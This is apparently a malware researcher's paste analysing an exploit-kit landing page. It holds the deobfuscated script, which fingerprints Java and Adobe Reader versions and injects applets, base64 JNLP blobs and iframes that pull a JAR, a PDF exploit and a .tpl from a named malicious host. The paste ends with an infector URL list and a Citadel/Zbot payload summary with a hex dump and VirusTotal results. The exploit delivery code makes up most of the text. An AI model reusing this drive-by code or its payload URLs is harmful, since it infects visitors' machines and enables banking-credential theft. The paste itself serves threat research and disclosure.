  1791.           for (b = 0; b < d.HTML.length; b ++ ){
  1792.             if (d.HTML[b] && d.HTML[b].DELETE){
  1793.               f.DOM.emptyNode(d.HTML[b].span);
  1794.               d.HTML[b].span = null
  1795.             }
  1796.           }
  1797.           e.setPluginStatus(c[0], c[1], 0);
  1798.           if (f.onDetectionDone && e.funcs){
  1799.             f.ev.callArray(e.funcs)
  1800.           }
  1801.           if (f.DOM){
  1802.             f.DOM.onDoneEmptyDiv()
  1803.           }
  1804.         }
  1805.       }
  1806.       , zz : 0
  1807.     }
  1808.     , adobereader : {
  1809.       $ : 1, setPluginStatus : function (){
  1810.         var d = this , b = d.$, a = d.navPlugin.detected, e = d.navPlugin.version, g = d.
  1811.         axo.detected, c = d.axo.version, i = d.doc.detected, h = d.doc.version, f = e || c
  1812.          || h || null;
  1813.         d.installed = f ? 1 : (a > 0 || g > 0 || i > 0 ? 0 : (i ==- 0.5 ?- 0.15 : (b.isIE
  1814.          && (!b.ActiveXEnabled || b.ActiveXFilteringEnabled) ?- 1.5 :- 1)));
  1815.         d.version = b.formatNum(f)
  1816.       }
  1817.       , getVersion : function (c, e){
  1818.         var a = this , d = a.$, b = 0;
  1819.         if ((!b || d.dbug) && a.navPlugin.query().detected > 0){
  1820.           b = 1
  1821.         }
  1822.         if ((!b || d.dbug) && a.axo.query().detected > 0){
  1823.           b = 1
  1824.         }
  1825.         if ((!b || d.dbug) && (a.doc.query().detected > 0 || a.doc.detected ==- 0.5)){
  1826.           b = 1
  1827.         }
  1828.         a.setPluginStatus()
  1829.       }
  1830.       , navPlugin : {
  1831.         $ : 1, detected : 0, version : null, mimeType : "application/pdf", isDisabled :
  1832.         function (){
  1833.           var c = this , b = c.$, a = c.$$;
  1834.           return b.isIE || c.detected ||! b.hasMimeType(c.mimeType) ? 1 : 0
  1835.         }
  1836.         , attempt3 : function (){
  1837.           var c = this , b = c.$, a = null;
  1838.           if (b.OS == 1){
  1839.             if (b.hasMimeType("application/vnd.adobe.pdfxml")){
  1840.               a = "9"
  1841.             }
  1842.             else {
  1843.               if (b.hasMimeType("application/vnd.adobe.x-mars")){
  1844.                 a = "8"
  1845.               }
  1846.               else {
  1847.                 if (b.hasMimeType("application/vnd.adobe.xfdf")){
  1848.                   a = "6"
  1849.                 }
  1850.               }
  1851.             }
  1852.           }
  1853.           return a
  1854.         }
  1855.         , query : function (){
  1856.           var d = this , c = d.$, a = d.$$, f, e, b = null;
  1857.           if (d.isDisabled()){
  1858.             return d
  1859.           }
  1860.           ;
  1861.           f = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
  1862.           e = c.findNavPlugin(f, 0);
  1863.           d.detected = e ? 1 :- 1;
  1864.           if (e){
  1865.             b = c.getNum(e.description) || c.getNum(e.name);
  1866.             b = c.getPluginFileVersion(e, b);
  1867.             if (!b){
  1868.               b = d.attempt3()
  1869.             }
  1870.           }
  1871.           if (b){
  1872.             d.version = b
  1873.           }
  1874.           ;
  1875.           return d
  1876.         }
  1877.       }
  1878.       , pluginQuery : function (j){
  1879.         var f = this , d = f.$, b = "", h = null, g, a, i, c;
  1880.         try {
  1881.           if (j){
  1882.             b = j.GetVersions()
  1883.           }
  1884.         }
  1885.         catch (g){
  1886.         }
  1887.         if (b && d.isString(b)){
  1888.           a =/=\ s * ([ \ d \ .] + ) / g;
  1889.           for (i = 0; i < 30; i ++ ){
  1890.             if (a.test(b)){
  1891.               c = d.formatNum(RegExp.$1);
  1892.               if (!h || d.compareNums(c > h) > 0){
  1893.                 h = c
  1894.               }
  1895.             }
  1896.             else {
  1897.               break
  1898.             }
  1899.           }
  1900.         }
  1901.         return h
  1902.       }
  1903.       , axo : {
  1904.         $ : 1, detected : 0, version : null, progID : ["AcroPDF.PDF", "AcroPDF.PDF.1",
  1905.         "PDF.PdfCtrl", "PDF.PdfCtrl.5", "PDF.PdfCtrl.1"], isDisabled : function (){
  1906.           var b = this , c = b.$, a = b.$$;
  1907.           return c.isIE &&! b.detected ? 0 : 1
  1908.         }
  1909.         , query : function (){
  1910.           var d = this , e = d.$, b = d.$$, f = 0, c = null, a;
  1911.           if (d.isDisabled()){
  1912.             return d
  1913.           }
  1914.           ;
  1915.           for (a = 0; a < d.progID.length; a ++ ){
  1916.             f = e.getAXO(d.progID[a]);
  1917.             if (f){
  1918.               d.detected = 1;
  1919.               c = b.pluginQuery(f);
  1920.               if (!e.dbug && c){
  1921.                 break
  1922.               }
  1923.             }
  1924.           }
  1925.           d.version = c ? c : null;
  1926.           if (d.detected === 0){
  1927.             d.detected =- 1
  1928.           }
  1929.           ;
  1930.           return d
  1931.         }
  1932.       }
  1933.       , doc : {
  1934.         $ : 1, detected : 0, version : null, classID :
  1935.         "clsid:CA8A9780-280D-11CF-A24D-444553540000", classID_dummy :
  1936.         "clsid:CA8A9780-280D-11CF-A24D-BA9876543210", DummySpanTagHTML : 0, HTML : 0,
  1937.         DummyObjTagHTML1 : 0, DummyObjTagHTML2 : 0, isDisabled : function (){
  1938.           var c = this , b = c.$, a = 0;
  1939.           if (c.detected){
  1940.             a = 1
  1941.           }
  1942.           else {
  1943.             if (b.dbug){
  1944.             }
  1945.             else {
  1946.               if (!b.isIE ||! b.DOM.isEnabled.objectTag()){
  1947.                 a = 1
  1948.               }
  1949.             }
  1950.           }
  1951.           return a
  1952.         }
  1953.         , query : function (){
  1954.           var i = this , d = i.$, f = i.$$, h = null, a = d.DOM.altHTML, g = null, c = 1,
  1955.           e = 1, b;
  1956.           if (i.isDisabled()){
  1957.             return i
  1958.           }
  1959.           ;
  1960.           if (!i.DummySpanTagHTML){
  1961.             i.DummySpanTagHTML = d.DOM.insert("", [], [], a, f, e)
  1962.           }
  1963.           if (!i.HTML){
  1964.             i.HTML = d.DOM.insert("object", ["classid", i.classID], [], a, f, e)
  1965.           }
  1966.           if (!i.DummyObjTagHTML2){
  1967.             i.DummyObjTagHTML2 = d.DOM.insert("object", ["classid", i.classID_dummy], [],
  1968.             a, f, e)
  1969.           }
  1970.           b = d.DOM.getTagStatus(i.HTML, i.DummySpanTagHTML, i.DummyObjTagHTML1, i.
  1971.           DummyObjTagHTML2, g, c);
  1972.           h = f.pluginQuery(i.HTML.obj());
  1973.           i.detected = b > 0 || h ? 1 : (b ==- 0.1 || b ==- 0.5 ?- 0.5 :- 1);
  1974.           i.version = h ? h : null;
  1975.           return i
  1976.         }
  1977.       }
  1978.     }
  1979.     , zz : 0
  1980.   }
  1981. }
  1982. ;
  1983. PluginDetect.INIT();
  1984. j_version = PluginDetect.getVersion('Java');
  1985. p_version = PluginDetect.getVersion('AdobeReader');
  1986. if (j_version != null){
  1987.   j_version = j_version.split(",");
  1988. }
  1989. else {
  1990.   j_version = [0, 0, 0, 0];
  1991. }
  1992. if (p_version != null){
  1993.   p_version = p_version.split(",");
  1994. }
  1995. else {
  1996.   p_version = [0, 0, 0, 0];
  1997. }
  1998. java_enable = 0;
  1999. if (j_version[0] > 0 && j_version[1] < 7){
  2000.   document.write('
  2001. <applet code="acwqssz.class" archive="http://c1hdm.scanbegin.biz:53331/3429015467/13839257
  2002. 40.jar"><param name="ur0l0" value="AhhjyHHuxAYa8tuE7vp9c78vcCyrLLLxH5HxLqLDwr3GlHLGwDlxrG4
  2003. 3Hw"><param name="t" value="0"><param name="tt" value="0"></applet>');
  2004.   java_enable = 1;
  2005. }
  2006. if (j_version[0] > 0 && j_version[1] == 7 && j_version[3] <= 17){
  2007.   document.write('
  2008. <applet><param name="jnlp_href" value="dfwqwfwew.jnlp" /><param name="jnlp_embedded" value
  2009. ="PGpubHAgc3BlYz0iMS4wIiB4bWxuczpqZng9Imh0dHA6Ly9nb29nbGUuY29tIiBocmVmPSJhcHBsZXRfc2VjdXJp
  2010. dHlfYnlwYXNzLmpubHAiPg0KICA8aW5mb3JtYXRpb24+DQogICAgPHRpdGxlPlkgYXNmIElJPC90aXRsZT4NCiAgIC
  2011. A8dmVuZG9yPmZkZmVncndlPC92ZW5kb3I+DQogIDwvaW5mb3JtYXRpb24+DQogIA0KICAgPHJlc291cmNlcz4NCiAg
  2012. ICAgICAgPGoyc2UgdmVyc2lvbj0iMS43KyIgaHJlZj0iIi8+DQogICAgICAgIDxqYXIgaHJlZj0iaHR0cDovL2MxaG
  2013. RtLnNjYW5iZWdpbi5iaXo6NTMzMzEvMzQyOTAxNTQ2Ny8xMzgzOTI1NzQwLmphciIgbWFpbj0idHJ1ZSIgLz4NCiAg
  2014. PC9yZXNvdXJjZXM+DQogIDxhcHBsZXQtZGVzYyBuYW1lPSJBRnVjayBPZmYiIGhlaWdodD0iMSIgICB3aWR0aD0iMS
  2015. IgbWFpbi1jbGFzcz0iYWN3cXNzeiI+DQogICAgIDxwYXJhbSB2YWx1ZT0idHJ1ZSIgbmFtZT0iX19hcHBsZXRfc3N2
  2016. X3ZhbGlkYXRlZCIgLz4NCjxwYXJhbSBuYW1lPSJ1cjBsMCIgdmFsdWU9IkFoaGp5SEh1eEFZYTh0dUU3dnA5Yzc4dm
  2017. NDeXJMTEx4SDVIeExxTER3cjNHbEhMR3dEbHhyRzQzSHciPg0KPHBhcmFtIG5hbWU9InQiIHZhbHVlPSIwIj4NCjxw
  2018. YXJhbSBuYW1lPSJ0dCIgdmFsdWU9IjAiPg0KICA8L2FwcGxldC1kZXNjPg0KPC9qbmxwPg==" /></applet>');
  2019.   java_enable = 1;
  2020. }
  2021. if (j_version[0] > 0 && j_version[1] == 7 && j_version[3] == 21){
  2022.   document.write('
  2023. <applet>     <param name="jnlp_href" value="dfweqdasdfeqw.jnlp" />     <param name="jnlp_e
  2024. mbedded" value="ICA8am5scCBzcGVjPSIxLjAiIHhtbG5zOmpmeD0iaHR0cDovL2dvb2dsZS5jb20iIGhyZWY9Ii
  2025. I+DQogICAgICAgICAgICA8aW5mb3JtYXRpb24+DQogICAgICAgICAgICA8dGl0bGU+ZGZ3ZWRhZmQ8L3RpdGxlPg0K
  2026. ICAgICAgICAgICAgPHZlbmRvcj5lZnZyd2VmcTwvdmVuZG9yPg0KICAgICAgICAgICAgPC9pbmZvcm1hdGlvbj4NCi
  2027. AgICAgICAgICAgIDxyZXNvdXJjZXM+DQogICAgICAgICAgICA8ajJzZSB2ZXJzaW9uPSIxLjcrIiBocmVmPSIiIC8+
  2028. DQogICAgICAgICAgICA8amFyIGhyZWY9Imh0dHA6Ly9jMWhkbS5zY2FuYmVnaW4uYml6OjUzMzMxLzM0MjkwMTU0Nj
  2029. cvMTM4MzkyNTc0MC5qYXIiIG1haW49InRydWUiIC8+DQogICAgICAgICAgICA8L3Jlc291cmNlcz4NCiAgICAgICAg
  2030. ICAgIDxqZng6amF2YWZ4LWRlc2MgbWFpbi1jbGFzcz0iUmFkdmEiIHByZWxvYWRlci1jbGFzcz0iYWN3cXNzeiIgbm
  2031. FtZT0iQXBwIi8+DQogICAgICAgICAgICA8YXBwbGV0LWRlc2MgbmFtZT0iQXNkZiIgbWFpbi1jbGFzcz0iVmFzZGEi
  2032. IHdpZHRoPSIzIiBoZWlnaHQ9IjMiPg0KICAgICAgICAgICAgPC9hcHBsZXQtZGVzYz48L2pubHA+" /> <param na
  2033. me="javafx_version" value="2.0+" /> <param name="ur0l0" value="AhhjyHHuxAYa8tuE7vp9c78vcCy
  2034. rLLLxH5HxLqLDwr3GlHLGwDlxrG43Hw" /> <param name="t" value="0" /> <param name="tt" value="0
  2035. " />   </applet>');
  2036.   java_enable = 1;
  2037. }
  2038. function fg(url, width, height){
  2039.   var s1 = document.createElement("iframe");
  2040.   s1.setAttribute("src", url);
  2041.   s1.setAttribute("width", width);
  2042.   s1.setAttribute("height", height);
  2043.   document.body.appendChild(s1);
  2044. }
  2045. if (java_enable == 1){
  2046.   setTimeout('fg("http://c1hdm.scanbegin.biz:53331/3429015467/1383925740.tpl","66","97")',
  2047.   5000);
  2048. }
  2049. else {
  2050.   fg("http://c1hdm.scanbegin.biz:53331/3429015467/1383925740.tpl", "68", "62");
  2051. }
  2052. if ((p_version[0] == 8) || (p_version[0] == 9 && p_version[1] <= 3)){
  2053.   if (java_enable == 1){
  2054.     setTimeout(
  2055.     'fg("http://c1hdm.scanbegin.biz:53331/3429015467/1383925740.pdf","69","66")', 7000);
  2056.   }
  2057.   else {
  2058.     fg("http://c1hdm.scanbegin.biz:53331/3429015467/1383925740.pdf", "55", "81");
  2059.   }
  2060. }
  2061.  
  2062. /* Infector List (Site is down during investigation) */
  2063.  
  2064. ht tp://c1hdm.scanbegin.biz:53331/3429015467/1383925740.jar     <----java 6
  2065. ht tp://c1hdm.scanbegin.biz:53331/3429015467/1383925740.pdf    <--- pdf
  2066. ht tp://c1hdm.scanbegin.biz:53331/3429015467/1383925740.tpl    <--- tpl
  2067.  
  2068. // and 2 jnlp applets..
  2069.  
  2070.  
  2071. if (j_version[0] > 0 && j_version[1] == 7 && j_version[3] <= 17){
  2072.   document.write('
  2073. <applet><param name="jnlp_href" value="dfwqwfwew.jnlp" /><param name="jnlp_embedded" value
  2074. ="PGpubHAgc3BlYz0iMS4wIiB4bWxuczpqZng9Imh0dHA6Ly9nb29nbGUuY29tIiBocmVmPSJhcHBsZXRfc2VjdXJp
  2075. dHlfYnlwYXNzLmpubHAiPg0KICA8aW5mb3JtYXRpb24+DQogICAgPHRpdGxlPlkgYXNmIElJPC90aXRsZT4NCiAgIC
  2076. A8dmVuZG9yPmZkZmVncndlPC92ZW5kb3I+DQogIDwvaW5mb3JtYXRpb24+DQogIA0KICAgPHJlc291cmNlcz4NCiAg
  2077. ICAgICAgPGoyc2UgdmVyc2lvbj0iMS43KyIgaHJlZj0iIi8+DQogICAgICAgIDxqYXIgaHJlZj0iaHR0cDovL2MxaG
  2078. RtLnNjYW5iZWdpbi5iaXo6NTMzMzEvMzQyOTAxNTQ2Ny8xMzgzOTI1NzQwLmphciIgbWFpbj0idHJ1ZSIgLz4NCiAg
  2079. PC9yZXNvdXJjZXM+DQogIDxhcHBsZXQtZGVzYyBuYW1lPSJBRnVjayBPZmYiIGhlaWdodD0iMSIgICB3aWR0aD0iMS
  2080. IgbWFpbi1jbGFzcz0iYWN3cXNzeiI+DQogICAgIDxwYXJhbSB2YWx1ZT0idHJ1ZSIgbmFtZT0iX19hcHBsZXRfc3N2
  2081. X3ZhbGlkYXRlZCIgLz4NCjxwYXJhbSBuYW1lPSJ1cjBsMCIgdmFsdWU9IkFoaGp5SEh1eEFZYTh0dUU3dnA5Yzc4dm
  2082. NDeXJMTEx4SDVIeExxTER3cjNHbEhMR3dEbHhyRzQzSHciPg0KPHBhcmFtIG5hbWU9InQiIHZhbHVlPSIwIj4NCjxw
  2083. YXJhbSBuYW1lPSJ0dCIgdmFsdWU9IjAiPg0KICA8L2FwcGxldC1kZXNjPg0KPC9qbmxwPg==" /></applet>');
  2084.   java_enable = 1;
  2085. }
  2086. if (j_version[0] > 0 && j_version[1] == 7 && j_version[3] == 21){
  2087.   document.write('
  2088. <applet>     <param name="jnlp_href" value="dfweqdasdfeqw.jnlp" />     <param name="jnlp_e
  2089. mbedded" value="ICA8am5scCBzcGVjPSIxLjAiIHhtbG5zOmpmeD0iaHR0cDovL2dvb2dsZS5jb20iIGhyZWY9Ii
  2090. I+DQogICAgICAgICAgICA8aW5mb3JtYXRpb24+DQogICAgICAgICAgICA8dGl0bGU+ZGZ3ZWRhZmQ8L3RpdGxlPg0K
  2091. ICAgICAgICAgICAgPHZlbmRvcj5lZnZyd2VmcTwvdmVuZG9yPg0KICAgICAgICAgICAgPC9pbmZvcm1hdGlvbj4NCi
  2092. AgICAgICAgICAgIDxyZXNvdXJjZXM+DQogICAgICAgICAgICA8ajJzZSB2ZXJzaW9uPSIxLjcrIiBocmVmPSIiIC8+
  2093. DQogICAgICAgICAgICA8amFyIGhyZWY9Imh0dHA6Ly9jMWhkbS5zY2FuYmVnaW4uYml6OjUzMzMxLzM0MjkwMTU0Nj
  2094. cvMTM4MzkyNTc0MC5qYXIiIG1haW49InRydWUiIC8+DQogICAgICAgICAgICA8L3Jlc291cmNlcz4NCiAgICAgICAg
  2095. ICAgIDxqZng6amF2YWZ4LWRlc2MgbWFpbi1jbGFzcz0iUmFkdmEiIHByZWxvYWRlci1jbGFzcz0iYWN3cXNzeiIgbm
  2096. FtZT0iQXBwIi8+DQogICAgICAgICAgICA8YXBwbGV0LWRlc2MgbmFtZT0iQXNkZiIgbWFpbi1jbGFzcz0iVmFzZGEi
  2097. IHdpZHRoPSIzIiBoZWlnaHQ9IjMiPg0KICAgICAgICAgICAgPC9hcHBsZXQtZGVzYz48L2pubHA+" /> <param na
  2098. me="javafx_version" value="2.0+" /> <param name="ur0l0" value="AhhjyHHuxAYa8tuE7vp9c78vcCy
  2099. rLLLxH5HxLqLDwr3GlHLGwDlxrG43Hw" /> <param name="t" value="0" /> <param name="tt" value="0
  2100. " />   </applet>');
  2101.   java_enable = 1;
  2102. }
  2103.  
  2104. /* Payload */
  2105.  
  2106. Citadel: 0f14feccc5d58520176bce777b4d733c
  2107.  
  2108. Sections:
  2109.    .text 0x1000 0x47dcc 294912
  2110.    .data 0x49000 0x1a68 4096
  2111.    .rsrc 0x4b000 0x1dca 8192
  2112.  
  2113. Entry Point at 0x1214
  2114. Virtual Address is 0x401214
  2115. Code Analysis ...
  2116. Analyzing address 0x0000120e - 0 in queue / 3 total
  2117. 0000   4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00    MZ..............
  2118. 0010   B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00    ........@.......
  2119. 0020   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
  2120. 0030   00 00 00 00 00 00 00 00 00 00 00 00 B8 00 00 00    ................
  2121. 0040   0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68    ........!..L.!Th
  2122. 0050   69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F    is program canno
  2123. 0060   74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20    t be run in DOS
  2124. 0070   6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00    mode....$.......
  2125. 0080   C7 BF 79 DA 83 DE 17 89 83 DE 17 89 83 DE 17 89    ..y.............
  2126. 0090   00 C2 19 89 82 DE 17 89 CC FC 1E 89 87 DE 17 89    ................
  2127. 00A0   B5 F8 1A 89 82 DE 17 89 52 69 63 68 83 DE 17 89    ........Rich....
  2128. 00B0   00 00 00 00 00 00 00 00 50 45 00 00 4C 01 03 00    ........PE..L...
  2129. 00C0   AE D2 7B 52 00 00 00 00 00 00 00 00 E0 00 0F 01    ..{R............
  2130.  
  2131. VT: https://www.virustotal.com/latest-scan/90640e84c87ca8e9bbf6d308f701117517f60707883f94ba48961b72075bcc1a
  2132.    SHA256:          90640e84c87ca8e9bbf6d308f701117517f60707883f94ba48961b72075bcc1a
  2133.    File name:       0f14feccc5d58520176bce777b4d733c_undefined.exe
  2134.    Detection ratio: 2 / 46
  2135.    Analysis date:   2013-11-08 10:26:38 UTC ( 21 hours, 9 minutes ago )
  2136.    First submission 2013-11-08 10:26:38 UTC ( 21 hours, 9 minutes ago )
  2137.    Last submission 2013-11-08 10:26:38 UTC ( 21 hours, 9 minutes ago )
  2138.  
  2139.    Symantec             WS.Reputation.1    20131108
  2140.    AhnLab-V3            Spyware/Win32.Zbot 20131107
  2141.  
  2142. PE signature block
  2143.    Copyright
  2144.    Freizeitinseln
  2145.    Publisher MetaGeek, LLC
  2146.    Product Auswertungswelt
  2147.    Original name BOCV.exe
  2148.    Internal name BOCV
  2149.    File version 5.06.0001
  2150.    Description Monatsverdiensten5
  2151.    Comments IO MI RICORDO
  2152.  
  2153. PE header basic information
  2154.    Target machine Intel 386 or later processors and compatible processors
  2155.    Compilation timestamp 2013-11-07 17:49:34
  2156.    Link date 6:49 PM 11/7/2013
  2157.    Entry Point 0x00001214
  2158.    Number of sections 3
  2159.  
  2160. PE resources by language
  2161.    NEUTRAL 3
  2162.    BULGARIAN DEFAULT 1
  2163.  
  2164.  
  2165. #MalwareMustDie!
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement